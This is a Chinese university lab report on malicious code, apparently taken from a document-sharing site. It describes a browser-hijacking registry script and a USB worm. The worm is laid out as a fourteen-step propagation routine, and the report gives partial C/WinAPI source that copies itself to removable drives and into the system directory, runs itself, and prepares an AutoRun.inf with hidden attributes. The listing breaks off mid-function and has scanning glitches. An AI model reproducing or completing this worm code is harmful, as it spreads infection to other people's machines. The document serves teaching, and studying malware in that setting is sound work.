恶意代码实验报告

  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

恶意代码实验报告

班级:10网工三班学生姓名:谢昊天学号:1215134046

实验目的和要求:

1、了解恶意代码的实现机理;

2、了解常见恶意代码的编写原理;

3、掌握常见恶意代码运行机制;

实验内容与分析设计:

1.通过Java Script、Applet、ActiveX(三者选一)编辑的脚本程序修改IE浏览器:

(1)默认主页被修改;

(2)IE标题栏被添加非法信息;

2、编写一个脚本病毒,扫描是否存在U盘,如果存在,将自己写到U盘上,同时写一个调用自己的AutoRun.inf文件到U盘。

实验步骤与调试过程:

1.U盘病毒:

(1)U盘病毒是借助windows自动播放的特性,让用户双击盘符时就可以立即激活制定的病毒。病毒首先将u盘写入病毒程序,然后更改病毒文件。如果病毒文件指向了病毒程序,那么windows就会运行这个程序引发病毒。一般病毒还会检测插入的u盘,并对其实行上述操作。编写一个脚本病毒,扫描是否存在U盘,如果存在,将自己写到U盘上,同时写一个调用自己的AutoRun.inf文件到U盘。

(2)编写好的程序,如果发现U盘就复制自己,如果U盘上呗激活了,就把自己复制到系统文件夹。

(3)编写代码实现如下功能:①.得到盘符类型;②.判断是否是可移动存储设备;③.得到自身文件路径;④.比较是否和U盘的盘符相同;⑤.如果相同说明在U盘上执行,复制到系统中去;⑥.得到系统目录;⑦.把自身文件复制到系统目录;⑧.如果不是则U盘上执行,则感染U盘;⑨.还原U盘上的文件属性;⑩.删除原有文件;○11.写AutoRun.inf到U盘;○12.拷贝自身文件到U盘;○13.把这两个文件设置成系统,隐藏属性;○14.休眠60秒,60检测一次。

2.浏览器恶意代码:

(1).在运行中输入regedit,可以进入注册表。HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft Explorer中有相关配置。要重新设置浏览器的默认页在Main下的Default_Page_URL中修改即可。进入注册表,因为IE浏览器大部分配置信息都存储在注册表中;所以针对浏览器的攻击大多是通过修改注册表来实现的。

(2).进入浏览器部分配置在HKEY_CURRENT_USER\ Software\ Microsoft\ Internet Explorer 下,比如浏览器右键的菜单在键值“MenuExt”下;(另外,在

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer也有相关的配置。)

(3).使用注册表编辑器IE部分设置,进行代码的编写;

(4).进行检查测试;

实验结果:

1.编译执行U盘恶意代码,如果计算机上有U盘或者可移动硬盘,就会自动写入proj7_2文件和AutoRun.inf文件,中毒的u盘换到一个没有中毒的感染的电脑上时,杀毒软件会查出。

2.浏览器恶意代码生成后,即程序执行成功以后,打开浏览器,进入浏览器的Internet 选项对话框,鼠标单击“使用默认页”时,就会出现程序设置的信息;

疑难小结:

通过本次试验,我对恶意代码有了进一步的了解,通过动手实现其设置恶意代码,我掌握了恶意代码工作原理、入侵过程及危害。从本次实验中我进一步的了解了恶意代码的隐藏功能、加密功能、触发条件、自动启动功能、自主攻击功能、自主攻击和繁殖功能、破坏功能。通过分析后可以解析出恶意嗲吗的大致结构。使用的系统调用,采用的技巧,如何将恶意代码的破坏行为转换为恶意代码清除行为,哪些代码可以被用作恶意代码的特征码以及如何防御这种恶意代码。例如,我们实验室的电脑上就有u盘病毒,每次我的u盘上都会感染,然后再到自己的电脑上给查杀了,这次实验后,使我了解到了u盘病毒的原理,对我以后对病毒的预防和查杀都有很大的帮助。通过本次试验使我更加深刻的理解了恶意代码的特点。同时,在实验过程中,回顾书本上的理论知识,巩固了我的知识。

主要算法和程序清单:

U盘恶意代码;

#include "stdafx.h"

bool SaveToFile(char* Path,char* Data){

HANDLE hFile;

hFile=CreateFile(Path, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL,NULL);

if(hFile==INV ALID_HANDLE_VALUE){/*continue; //出错时处理*/}

DWORD dwWrite;

WriteFile(hFile,Data,strlen(Data),&dwWrite,NULL);

CloseHandle(hFile);

return true;

}

BOOL InfectU()

{

while(true)

{

UINT revtype;

char name[256]="H:\\" ;

char szName[256]={0};

char toPath[256]={0};

char infPath[256]={0};

char openU[80]={0};

//遍历所有盘符

for(BYTE i=0x42;i<0x5B;i=i+0x01)

{

name[0]=i;

//得到盘符类型

revtype=GetDriveType(name);

//判断是否是可移动存储设备

if (revtype==DRIVE_REMOV ABLE)

{

//得到自身文件路径

GetModuleFileName(NULL,szName,256);

//比较是否和U盘的盘符相同

//如果相同说明在U盘上执行,复制到系统中去

if(strncmp(name,szName,1)==0)

{

//得到系统目录

GetSystemDirectory(toPath,256);

strcat(toPath,"\\proj7_2.exe");

//把自身文件复制到系统目录

if(CopyFile(szName,toPath,TRUE))

{

//运行程序

WinExec(toPath,0);

}

strcpy(openU,"explorer ");

strcat(openU,name);

//打开U盘

WinExec(openU,1);

return 0;

}//如果不是则U盘上执行,则感染U盘

else

{

strcpy(toPath,name);

strcat(toPath,"\\proj7_2.exe");

strcpy(infPath,name);

strcat(infPath,"\\AutoRun.inf");

//还原U盘上的文件属性

SetFileAttributes(toPath,FILE_A TTRIBUTE_NORMAL);

SetFileAttributes(infPath,FILE_ATTRIBUTE_NORMAL);

相关文档
最新文档